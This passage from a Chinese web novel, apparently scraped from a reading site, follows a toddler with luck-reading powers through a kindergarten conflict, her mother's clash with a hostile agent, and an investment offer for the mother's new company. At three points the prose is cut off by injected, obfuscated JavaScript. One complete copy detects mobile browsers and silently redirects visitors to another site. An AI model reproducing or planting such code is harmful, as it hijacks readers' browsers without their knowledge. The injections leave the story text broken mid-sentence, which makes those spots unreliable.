“优优可是专门发了语音,知知昨晚不是已经听过了?” 到底是小孩子,想起小伙伴甜甜的问候,知鲤面上不情愿的表情散去几分。 黎棠轻轻勾唇,给知鲤戴上儿童手表,熟练地趁热打铁。 “过几天明曦要参加一个很重要的宴会,如果知知乖乖去幼儿园,妈妈带你去参加宴会好不好?” 知鲤小耳朵抖抖,眼睛“咻”的一下亮了起来,伸出小拇指小脑袋点点,“麻麻跟我拉勾勾~” 黎棠看着幼崽认真又兴奋的模样,这些日子跟公司那些人勾心斗角积累的烦躁也消解几分。 拉勾结束,知鲤踮起脚把小脑袋塞到黎棠手边,奶呼呼地催促。 “麻麻摸摸我的小脑袋呀~” 感受到发顶暖融融的触感,知鲤终于咧开小嘴笑出声,踮起脚在蹲身的黎棠脸上落下个亲亲,牵着程阿姨的手去了幼儿园。 走进小葵花班,知鲤还没有坐下就被小朋友们团团围住。 扎着羊角辫的小姑娘从一众糯叽叽的团子军团中脱颖而出,抱着知鲤充满惊喜地抒发思念。 “知知,知知你终于回来啦,我好想你呀!” “优优呀,我也好想你呀。” 知鲤龇着牙回抱住优优,两只小团子抱在一起在原地转了好几个圈圈,其他小朋友哼哼唧唧地同样凑过来抱成一团。 小葵花班里都是小朋友们亲亲密密的问候声,显得格外温馨。 教室内突然响起一声格格不入的冷哧,知鲤好奇地朝声源处望去。 发声的是一个小男孩,长得挺好看,就是一直用鼻孔睨她,一副极度嫌弃的模样。 不认识。 知鲤小脑袋瓜儿得出结论便收回了目光。 对陌生小孩儿出现在小葵花班里没有丝毫好奇和疑惑。 冷笑没有得到回应,小男孩仿佛从没有被如此对待过,惊讶又气恼地盯着小朋友们看了好一会儿,见小朋友们围着知鲤团团转,完全没有搭理他的意思,小脸慢慢涨红,目光凶狠地瞪向团子群中的知鲤。 察觉到异样的目光,知鲤小耳朵抖抖,疑惑地朝小男孩儿看来,正与小男孩儿凶巴巴的目光对上。 知鲤丝毫不惧,哼哼一声对小男孩儿吐吐舌头。 她是有原则的小锦鲤,有人讨厌她,那她就讨厌那个人,才不会学曦曦姐姐说的那种笨笨的人一样,用热脸贴讨厌TA人的冷屁股呢。 “他叫鹿鸣,前段时间来小葵花班的,知知你不要理他,他可讨厌了,总想大家都听他的,不理他他就会生气......” 乖乖坐在座位上的优优小脸皱成一团,凑近知鲤小声说:“...可讨厌了,我不喜欢他。” “我喜欢优优,优优陪我玩~” “好,我和知知永远是好朋友!” 嘿嘿一笑,两颗毛茸茸的小脑袋便拱在一起,嘀嘀咕咕说着悄悄话。 对于幼儿园小班的小朋友而言,吃和玩就是他们全部的课程,时间很快到了下午。 吃完加餐的水果,知鲤咧着小嘴把果皮丢进垃圾桶,老师帮忙擦完小胖手后,小家伙已经和守着积木的优优成功会师。 两只幼崽商量一会儿,决定今天搭一间房子当她们的友谊小屋。 两小只搭积木过分投入,没一会儿就吸引了其他小朋友,一群小团子不知不觉又一次凑在一起,叽叽喳喳地搭着小房子。 完全没有注意到一旁的鹿鸣越来越黑的脸色。 鹿鸣朝教室前面提着一堆垃圾准备出门的王老师看了眼,沉着脸起身。 “哐当!” 声响传来,即将建好的房子轰然倒塌,小团子们抓着积木的手纷纷悬在半空,震惊地朝碰到他们桌子的人望去。 “鹿鸣!你做什么呀?” 鹿鸣指着小朋友身后的过道,举起手上的香蕉皮,咧开嘴露出恶劣的笑容。 “哎呀,全塌啦,跟我没关系哦,我想去扔垃圾,都怪你们挡到我的路了。” 拼积木的团子们气得小脸红红,“胡说八道,你就是故意的,这么宽的路呢!” “哪里宽了,你们这么多人凑到一起都把路挤没了,谁让你们凑在一起的啊,说来说去还是怪你们。” 鹿鸣说着,目光挑衅地看向知鲤,把小家伙看得莫名其妙。 “喂,这件事说到底还是因为你,都是你把他们凑到一起才让我过不去,我过不去才会撞到他们的,都是你的错。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“才不是,我才不是撒谎精!你们都欺负我,我要告诉妈妈离开这个讨厌的地方,你们都是讨厌鬼!” 小朋友特有的声线几乎能刺破人的耳膜,老师忍耐着尖锐的哭嚎检查了鹿鸣的身体,确定他只是摔到没有其他情况才松了口气。 花了好一番功夫才把尖锐爆鸣的鹿鸣哄住,细细问了其他小朋友,又看了监控算是将事情真相完整拼凑起来。 看着鹿鸣红彤彤的眼睛,又看看咧着小嘴懵懂的知鲤和气愤的优优,以及站在知鲤优优身旁怒视鹿鸣的小朋友们,王老师头疼地揉揉太阳穴。 即使今日知鲤未归,今日的闹剧也有爆发的一天。 不是别的,实在是鹿鸣这孩子过分霸道,仗着自己是整个小班中年龄最大的孩子,总想让小朋友听他的话。 可现在的孩子都是家里的小宝贝,怎么会愿意忍受同龄人的指挥和压迫。 鹿鸣刚到没多久就没有孩子愿意跟他玩了。 为此,鹿鸣的妈妈没少过来跟她交涉。 当接到黎棠要送知鲤来上学的消息,王老师是松了口气的,小家伙在小葵花班的人气居高不下,说不准可以跟鹿鸣好好相处。 可谁也没想到会发生这样的事! 王老师也倍感纳闷,她实在想不通鹿鸣为什么要凭一己之力孤立全班同学。 想到待会儿来接鹿鸣的鹿鸣妈妈,王老师就一个头两个大,直到软乎乎的小奶音传来,她才恍然回神。 “老师,纸巾,擦擦。” “谢谢知知小朋友和优优小朋友,你们都是很乖的小宝贝。” 王老师接过纸巾擦去鹿鸣蹭到她身上的鼻涕,望着咧着小嘴笑容甜甜的知鲤和优优,恍惚想起一件事。 鹿鸣妈妈和知鲤妈妈都姓黎啊,两位好像都不是本地人来着。 突然冒出来的念头只在王老师脑海中停留一瞬,很快就被抛诸脑后。 10. 故人or仇人 到了放学时间,王老师早早带着鹿鸣在教室内等鹿鸣妈妈。 没多久就听到门外匆匆的脚步声,看到鹿鸣妈妈焦急又担忧的神色,之前那些不太美好的记忆涌上心头,王老师的太阳穴突突直跳。 鹿鸣妈妈…黎雪越过王老师径直奔向鹿鸣,拉着他来回翻看,嘴里不停说着痛不痛,有没有受伤之类的话。 眼见对方急得有些上头,王老师迅速开口说明原因。 “鹿鸣妈妈对不起,小鹿鸣踩到香蕉皮摔了一下,被吓到哭得很伤心。” 黎雪仿佛没有听见似的,满脸心疼地查看鹿鸣的身体,连指甲缝都没有放过。 “妈妈,妈妈,有人要害我,都是黎知鲤那个讨厌鬼害我,都是她我才摔倒的!” 小朋友与成年人思维表达不同,常常会混淆结果与过程,诡异地歪曲一些事情。 王老师之前就担心鹿鸣偏颇的表述误导家长,引发更激烈的冲突,伤到其他小朋友。 特地把小葵花班的其他小朋友交给其他老师,单独带着鹿鸣留下来等黎雪。 还专门赶在鹿鸣开口前解释了事情原委,可是事情还是朝着糟糕的方向发展,王老师叹口气连忙解释。 “鹿鸣妈妈,这件事跟其他孩子无关,是小鹿鸣踩到香蕉皮才摔倒的,其他孩子没有碰到鹿鸣。” 黎雪似是没有听见王老师的话,脸色难看地看向鹿鸣,“鸣鸣是说有人害你?是谁?你们班的小孩儿?” 摔倒之后的言论第一次被认可,鹿鸣仿佛得到鼓励,小脸耷拉下来,眼睛兴奋地亮起。 “黎知鲤,那个讨厌鬼叫黎知鲤!” 话音落,黎雪握着鹿鸣的手顿了顿,整个人像是被冻住一般,僵硬而木讷地看向鹿鸣。 “…宝宝,你说那个孩子叫什么?” “妈妈痛!” 鹿鸣哀叫一声,想将手从妈妈愈发用力的桎梏中抽出却失败,气得他奋力一甩,将黎雪硬生生推得踉跄几步。 顾不得狼狈,黎雪蹲下身盯着鹿鸣执拗地再次重复。 “你说的那孩子叫什么名字?” 鹿鸣不耐烦地瞪了黎雪一眼,声音拔高,带着咬牙切齿的意味。 “黎知鲤,她说她叫黎知鲤!” “黎知鲤……知鲤…小锦鲤……不可能,她怎么会在这里…不可能的……” 黎雪面容苍白,眼底是藏不住的震惊和惊慌,还带着一丝不易察觉的怨恨,整个人呆呆的蹲在原地,似乎还没从某个可怕的事实中回神。 这场景旁观者再迟钝也觉这里面有事儿。 王老师亦是如此,愣了愣,正犹豫着要说些什么安抚黎雪,还没开口就见她站起身牵住不情不愿的鹿鸣转身就走,连再见都没有说一句。 王老师伸出的手微悬在半空,心里默默念了知鲤的名字,忍不住感叹这小家伙就连名字都能杀人于无形了。 就是不知道这小家伙跟鹿鸣妈妈之间有什么关系。 “阿嚏!阿嚏!” 头戴猫耳小红帽的知鲤小鼻子痒痒,大大的喷嚏惊得一旁的程阿姨连忙摸她额头。 “怎么会突然打喷嚏,知知是不是着凉了?” “人家鼻子痒痒,才不是感冒呢。” 知鲤揉揉鼻子咧开小嘴,眼睛亮晶晶。 “程奶奶程奶奶,今天你有买冰糖嘛?知知想吃红烧肉,要放多多的糖,可多可多糖的那种哦~” 幼崽最爱与糖有关的一切食物,偏偏最近被黎棠要求减糖,她撒娇卖萌都不管用,只能另辟蹊径,要求吃些可以多多放糖的食物。 比如红烧肉,再比如糖醋里脊。 这些食物于知鲤而言算得上糖的平替。 “当然,等知知到家就给你做,保证做得甜滋滋、香喷喷。” 得到肯定的答案,幼崽感觉小鼻子里都是冰糖融化的焦香,馋得她口水直流。 “嘿嘿,今天要吃甜甜的红烧肉喽!程奶奶,待会儿见到麻麻不要告诉她哦~” 从幼儿园接到知鲤后,小家伙就满脸兴奋地要求去接自家妈妈下班,得到黎棠允许,程阿姨才带着知鲤来了这里。 停好车,她们现在就是去找公司楼上找黎棠。 “好,不告诉黎小姐。” 程阿姨忍着笑,答应了幼崽不算要求的要求。 其实,给知鲤甜口食物是黎棠默许的,幼崽最近的食物含糖量极低,整颗崽都有点儿蔫巴,为了她的身心健康,黎棠默许了程阿姨给做甜口食物。 只是这些知鲤丝毫不知,整颗崽还沉浸在瞒着妈妈做了小坏事的兴奋和心虚中。 为了压制那一点点心虚,知鲤拉着程阿姨的手叭叭地讲着幼儿园发生的事情。 大概是说得太过尽兴,幼崽完全没有注意到前方路况,在走过拐角的时候差点儿与人碰上。 “知知没事吧?” 亏得程阿姨眼疾手快,这才避免了幼崽屁股着地的命运。 “我没事啦。” 知鲤满不在乎地摆摆手,想起自己差点儿撞到人,连忙整整衣装准备向人道歉,抬头就看到一双清亮的眼睛和一枚殷红的泪痣,顿时气得瞪圆双眼。 “叛徒!大坏蛋!” “哪里来的熊孩子大放厥词?你家长……” “王哥。” 沈之亦压着心中不愉,皱眉打断经纪人王阳的话,“这孩子是棠姐的女儿。” 王阳愣了一下,目光在知鲤身上停留半晌,面上浮起压制不住的愤怒与怨恨,语气都变得十分轻蔑。 “原来是黎棠的傻子闺女啊,果然跟黎棠那个泼妇一样缺少教养。” 这句话知鲤完全听得懂,大眼睛瞪得溜圆,学着电视上卖菜大娘与人吵架的样子气势汹汹叉起腰。 “你才泼妇,你全家都泼妇,你,你……” 一时想不起来大娘后面是怎么骂回去的,知鲤急得直跺脚,视线定格在王阳锃亮的脑门上,眼睛倏然亮起。 “…你会倒大霉,失去最爱的小奶糖,变得超级超级倒霉!” 知鲤从王阳额上黑漆漆的气运中看到他会失去最在意的东西,幼崽不懂对方最在意什么,就自动代入了自己。 毕竟,小奶糖对她而言就是最在意的东西了! 当然,麻麻是她的大宝贝,同样是她的最爱,但麻麻是人不是东西,所以她最在意的东西还是小奶糖! 捋顺逻辑,知鲤满意地哼哼一声,仰起小下巴努力用鼻孔对准王阳,企图从气势上蔑视对面两个讨厌的人。 “啧,果然是小孩子,都说黎棠的女儿变聪明了,现在看来都是粉饰太平的话。” 王阳嫌弃地睨了知鲤一眼,“喂小鬼,告诉你个秘密哦,你从前之所以那么傻都是因为你妈妈乱搞男女关系……” 他话说到一半,程阿姨就察觉不对,迅速上前捂住知鲤的小耳朵。 “王哥!你……” 沈之亦脸色巨变出声阻止,只是他才刚开口,王阳的脸就被兜头而来的厚重文件砸了个正着。 抬眼望去,只见明曦沉着脸快步朝这边而来,嘴里更是毫不留情地抨击对面两人。 “我当是谁呢,原来是两条狗在我们知知小朋友面前狂吠,怎么?狂犬病隔离点容不下你们了?” 沈之亦的脸黑了,望向明曦咬牙切齿,“明曦,你不要太过分了,这里是公司!” 明曦拉过懵懂的知鲤,确定她没有什么事儿才冷笑着看向沈之亦。 “你也知道这是公司。沈之亦沈顶流,你要是个人就该在王阳这狗东西舞到知知面前前把他牵走,怎么,看着你的现任经纪人羞辱你的前任经纪人,让你找到顶流被争抢的快感了?” “明曦!” 简单的两个字仿佛是从牙缝中蹦出来似的,沈之亦的脸色黑如锅底。 “你别以为解了约就高枕无忧,没有靠山你的一切都是镜花水月,迟早会一无所有。” “靠山?” 明曦捡起落在地上的解约合同和她的资料,四下扫视一番确定这个地方不会有其他人经过,才用凉凉的目光在沈之亦和王阳身上逡巡良久。 “就像你背叛棠棠姐,攀上王阳那样?那你的眼光可真不咋地。” 这下不止沈之亦,就连被阴阳的王阳脸色都扭曲了起来,捂着流血的伤口挤出笑脸看向明曦。 “小心乐极生悲啊明曦,你现在没有公司庇佑,又有黎棠这样声名狼藉的经纪人在侧,我是真好奇你能走多远。” 明曦扬扬手上的资料,娇美的面容上浮起抹张扬的笑容。 “这就不劳王大经纪人操心了,有功夫操心我,还不如好好想想怎么帮你的沈顶流抢资源,毕竟,这家公司可没有我这样的冤大头能给他白送一个男三号咯!” 说到最后,明曦还挑衅地吹了个口哨,愣是把对面两个气得呼吸都粗重几分。 知鲤的小脑袋在两方人马之间来回摇摆,大眼睛里满是学习的渴望,尤其是见沈王两人被明曦气得七窍生烟,更是掰着手指认真记住她最后的话。 “怎么了?” 黎棠清清冷冷的声音传来,正在吹口哨的明曦和悄咪咪偷师的知鲤皆是虎躯一震,两人对视一眼,脸上的表情都瞬间变得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只哼哼唧唧地踮起脚跟明曦咬耳朵,两只心理年龄加起来不到十岁的家伙迅速同频,双双露出一抹奇异的笑容。 黎棠又在王阳身上落了几拳才冷然出声。 “王阳,你从前针对我,我都可以当成被狗咬了轻轻放过,但你千不该万不该把矛头对准我女儿。” 明曦出来的时候,她还在与公司高层做最后交涉,并不知道发生了何事,但以她对王阳和明曦的了解,以及现场情况的判断,很轻松便猜出他当着孩子的面说了什么。 也因此更加气愤,打王阳的动作根本没有放水。 见王阳艰难地从地上爬起来,黎棠轻飘飘地开口。 “之前明曦在片场遭遇的‘谋杀’我查到了不少有趣的东西,王阳,你说若是再查下去会不会翻出什么不能见光的东西来呢?” 王阳凶狠的神色一僵,望向黎棠的目光已不像刚才那般暴戾。 “你胡说什么,那件事明明是姚依依嫉妒明曦才这么干的,与我何干?” 黎棠唇角微扬,毫不在意地耸肩,“我也没说跟你有关啊,你急什么?” “你......” 王阳的脸色阴沉得能滴出水来,一双眼睛死死盯住黎棠,而黎棠对此完全视若无睹,只含笑说道: “行了,我想说的已经传达到位,也请王大经纪人好好想想什么该说什么不该说才好。” 王阳磨着牙恨恨瞪着黎棠,他身旁的沈之亦将一切变故尽收眼底,目光深沉而眷恋,似乎在现在的黎棠身上,看到了曾经那个为了他苦练各种防身术的黎棠。 眼底有微光闪烁,忍不住轻声喃喃,“棠棠姐......” 黎棠听到了却不想搭理,从他身边径直走过,含笑看向程阿姨。 “程阿姨,今天辛苦你了,回去还要麻烦你把客房收拾一下,明曦今晚住在家里。” 从明曦出现就进入呆滞状态的程阿姨回神,点头应下就从明曦手里接过知鲤。 明曦对黎棠露出一个乖巧无比的笑容,“棠棠姐,我去把合同和资料捡回来。” 刚才带着知鲤远离战圈的时候,她把那一沓能砸死人的资料随手丢地上了,现在去捡回来完全没毛病。 说完就屁颠颠地朝王阳的方向而去。 黎棠看着她欢脱的背影总觉得哪里怪怪的,但她也没有时间多想,因为她家幼崽已经抱着她的大腿连声撒娇。 而明曦捡起合同和资料时,正看到沈之亦失魂落魄的背影,挑眉冷笑后超绝不经意地撞上王阳,在无人注意的角落将一个被叠成规整小三角的符丢进他的口袋中。 确定王阳没有察觉,明曦笑嘻嘻地回骂对方两句,施施然追上黎棠,完全没有听到王阳凶狠阴郁的目光和恍若疯魔般的呢喃。 “不行,绝对不行,如果黎棠真的查到什么我的一切都完了,与其等你毁了我,不如我先毁了你,黎棠这都是你自找的!” 11. 商谈 吃完油润红亮的红烧肉,知鲤的口腹之欲得到极大满足,把自己洗得香喷才穿上毛绒绒的小猫咪睡衣跑到黎棠身边,目光灼灼地看着她。 “知知的牙牙刷干净了?” 见黎棠放下手中堆成小山的资料,知鲤大眼睛亮亮配合地伸出小胳膊等抱抱,窝在妈妈馨香的怀里,幼崽嘿嘿一笑,咧开嘴向黎棠展示她的大白牙。 “sua(刷)完了,可白啦!” 黎棠忍着笑捏捏幼崽的小胖脸,“真棒,我们家知知真是世界上最厉害的小锦鲤。” 得到夸奖,知鲤得意得仰起下巴,继续用探究又期待的小眼神看向黎棠,硬是把黎棠盯得无心工作,干脆抱着毛绒绒的幼崽回了卧室。 “知知小宝贝,为什么一直盯着妈妈?” “因为麻麻开心呀,知知很久没有见到这么开心的麻麻啦!开心的麻麻超漂亮哒!” 知鲤抱住黎棠的手臂,笑容甜甜,“麻麻是碰到好事了嘛?” 黎棠摸摸知鲤的小脑袋,“是呀,超好的事情,妈妈和明曦离开了那家公司,准备自立门户,我的知知真是妈妈肚里的小蛔虫,什么都瞒不过你。” “知知是小锦鲤才不是小蛔虫!” 幼崽认真纠正后,“哎呦”一声双眼亮晶晶地望向黎棠。 “那,那些讨厌鬼以后就不能欺负麻麻和曦曦姐姐了嘛?” 幼崽是只记仇的崽,始终记得黎棠因公司为难而劳心劳力的日日夜夜,小门牙咬得咯咯响。 “是呀,妈妈接下来会很忙,知知在家要乖乖听程阿姨的话哦。” 知鲤…知鲤当然不想跟妈妈分开,但她也知道黎棠的辛苦,瘪瘪嘴还是乖乖答应下来。 “好了,要睡觉了,妈妈给知知讲故事。” 说着,黎棠给知鲤盖好被子,斜 “麻麻。” 黏黏糊糊仿似呢喃的呓语传来,黎棠低头看去,只见迷迷糊糊的幼崽闭着眼翻了个身,小奶音含糊得说着什么。 俯身凑过去细细辨认,只听到一句,“麻麻不要怕,知知小锦鲤会让麻麻心想事成,一切都会很顺利的”。 接着就是更含糊的呓语,黎棠听不清只温柔地亲亲幼崽红扑扑的小脸。 “晚安,我的宝贝。” 接下的日子正如黎棠所说,她是真的很忙,忙着各种事宜,忙着与朋友商议未来规划。 但...与工作相关的每一件事都格外顺利,连倒霉惯了的黎棠都觉得不可思议,更加,忙碌起来。 忙了半个月,黎棠终于抽出时间,带她家嗷嗷说想妈妈的宝贝女儿出门享受美食。 只是还是忍不住思考接下来的工作计划,她带着明曦自立门户并不打算只建一个工作室草草了事。 她想做得更大一些,培养自己的艺人和偶像,建立更完备的“造星工厂”。 如此涉及的资金和资源就更多了,她和明曦手里资金完全不够,给咧着嘴傻乐的知鲤夹了块糖醋排骨,黎棠再次不由自主陷入思考。 恰在这时,手机响起,黎棠拍拍知鲤的小脑袋接起电话,说了一会儿整个人都有点儿恍惚,挂断之后立即有另一个电话进来。 跟对面约好见面时间,黎棠的目光都有些呆滞,不由自主地看向正抓着排骨啃得满嘴油花花的知鲤,一时无言。 “麻麻?” 知鲤懵懂地看向黎棠,手里的排骨格外抢镜,黎棠叹息一声拿过湿巾给她擦擦小手和嘴。 “知知宝贝,待会儿有客人过来,是知知的朋友,知知要不要见见?” 幼崽茫然,“知知的朋友?” 黎棠想起对方千叮咛万嘱咐要她不要告诉幼崽,要给幼崽一个惊喜就觉得无奈,莫名对此人伸过来的橄榄枝产生了怀疑。 但该见还是要见的,毕竟机会难得,对方又有大家族做背书,她完全没有把人往外推拒的道理。 摸摸知鲤的小脑袋,黎棠并没有告诉她来人是谁,只给知鲤挖了一勺蓝莓山药,看她吃得眉开眼笑不由温柔地笑了笑。 没一会儿,包厢内响起敲门声,黎棠起身打开门将来人迎了进来,知鲤看到熟悉的大背头愣了一瞬,随即兴奋地手舞足蹈。 “菜菜哥哥!” 蔡玠见知鲤这么快认出他,得意地微微扬起下巴,笑眯眯上前早就准备好的礼物递给知鲤。 “哎呦知知小朋友,看来你是真的很喜欢我呀,这么久没见你都能第一眼认出我呢。” 知鲤笑眯眯地点着小脑袋附和,“是呀是呀,知知可喜欢菜菜哥哥了,菜菜哥哥是最帅最帅的哥哥啦。” “那是,我可不是一般的帅!” 一大一小仿佛熟悉的朋友一般你来我往说得快乐,唯有旁边的黎棠看着他们面色古怪。 她是最了解她家女儿的,尤其知道小家伙在记忆力和嘴甜方面天赋异禀,更知道小家伙见女性就是最最漂亮的姐姐,见到男性就是最最帅的哥哥。 小嘴叭叭的,却根本没有走心,就看她那双不断往美食上瞟的眼睛就能看出来。 为了自家闺女能继续享用美食,黎棠还是出声打断了两人毫无营养地对夸。 “小蔡总说得投资入股...是认真的?” 这句话问得真心实意,在蔡玠身上黎棠根本看不到投资者的正经与严肃,实在无法完全相信对方。 “当然是真的了。” 蔡玠终于正经起来,嬉皮笑脸的表情也瞬间消失。 “黎姐你或许不知道,我们家发展这么多年,可能什么都少,唯独人丁兴旺,为了保证家族股权集中,从我爷爷那一辈开始,就规定每一个成年的孩子要想拿到家族股份,必须先有自己独立拼搏而来的产业,否则就只能靠家里每个月给的零花钱过活。” 蔡玠唉声叹气,“每个月的零花钱都是有定额的,对我们这样的人而言之将将维持上流人士的体面罢了。” 这事儿不是秘密,黎棠多少也听到过些传闻,当时她还感叹蔡家这样的商业世家维系这么久,与其长辈的前瞻性脱不开关系。 这种方式不仅能激励子孙上进,还能避免能力平庸者背靠蔡氏为所欲为。 点点头,示意蔡玠继续往下说。 “我的能力我可太清楚了,在家啃老还行,要我独立拼搏那是天方夜谭,但我哥一直要求我上进,我这也是没办法了。” 叹了口气,蔡玠真挚地看向黎棠,“所以说棠姐,你是我唯一的希望,只有你才能让我做一只快乐小米虫。” 为了拉近关系,称呼已从“黎姐”变为“棠姐”,黎棠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059940|195020||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼皮一跳终究没有在称呼上多做纠缠,只似笑非笑地给蔡玠倒了杯茶。 “小蔡总言重,小蔡总的选择那么多,为什么独独选中我们?就算是对行业感兴趣,同行中比我们有资本有能力的公司更多,为什么是我们?” 蔡玠微微抿唇,清俊的面容变得极为认真。 “实不相瞒,早在你们回a市的时候我就听说你预备创建公司,之所以现在才联系你,全然是因为我调查了黎小姐从业以来所有的经历,能在短短几年成为金牌经纪人的人业内寥寥无几,我相信你的能力。” 称呼又从“棠姐”变为“黎小姐”,黎棠的神色也正经起来,只是这份正经没有维持几秒就差点儿崩盘。 蔡玠说完,含笑看了捧着小碗看似认真吃饭,实则大眼睛提溜转地偷看他们的幼崽。 “况且,黎小姐有知知这样可爱又善良的女儿,干什么都会成功的。” 被点名的幼崽小耳朵一动,“噌”地一下坐起身,十分自豪地挺起小胸膛,虽没有开口说话,但存在感是真的很强。 蔡玠又忍不住跟幼崽嘀嘀咕咕说来好半天,黎棠揉揉眉心继续追问。 “恕我直言,虽小蔡总家世不俗,但这事儿需要投入的资金、人脉和资源绝非少数,冒昧问一句,若真的打算投资,你......” 蔡玠并未觉得冒昧,只笑着开口解释,“这一点黎小姐不用担心,蔡家的孩子自出生家族就准备了一笔不菲的创业资金,或许对于黎小姐的目标而言,这些钱杯水车薪,但作为启动资金绝对只多不少。” 顿了顿,蔡玠又忍不住得意起来,“就算不够,我还能跟我哥借,他就我一个亲弟,是绝对不会看着我成靠家族零花钱过活的可怜虫的。” 言语间的得意根本无法掩饰,把啃老一事说得那叫一个理所应当,黎棠听得眼皮直跳,而蔡玠已经继续往下说了。 “至于资源和人脉...我想黎小姐,如此,黎小姐可还有什么顾虑?” 黎棠认真观察了蔡玠一会儿才摇摇头,还没开口说话,就见对方眼睛亮晶晶地举起手问道。 “既如此,我们什么时候签约呀,棠姐,你是不知道,我哥那个斯巴达资本家,看到我在家躺平就嫉妒我,总无时无刻想把我丢他公司历练,他那我去过一回,简直是工作狂集中营,我差点儿死在那里啊,太痛苦了!” 公事结束,蔡玠的称呼已从“黎小姐”自动切回“棠姐”像个只想躺平的纨绔子弟一般耷拉着脸。 “所以说啊,棠姐你就是我的救星,你若把我丢下,我就真的无路可走了!” 黎棠知蔡玠在胡说,却还回答了他的问题,“投资问题明天到公司详谈吧,这里并非谈论这些的好地方。” “好,那棠姐明天可不能将我拒之门外哦。” 蔡玠说完,安静许久的幼崽突然振臂高呼,“好耶!” 黎棠忍不住点点调皮女儿的小鼻子,“好什么好,你知道我们在说什么嘛?” 幼崽摇摇头,“我不知道呀,但麻麻和菜菜哥哥都很开心,麻麻开心知知就开心啦!” 她可聪明了,察觉到麻麻高兴的心情,也看得出她菜菜哥哥突然放松的表情。 她可是最厉害的小锦鲤,才不是普普通通的三岁半小娃娃呢!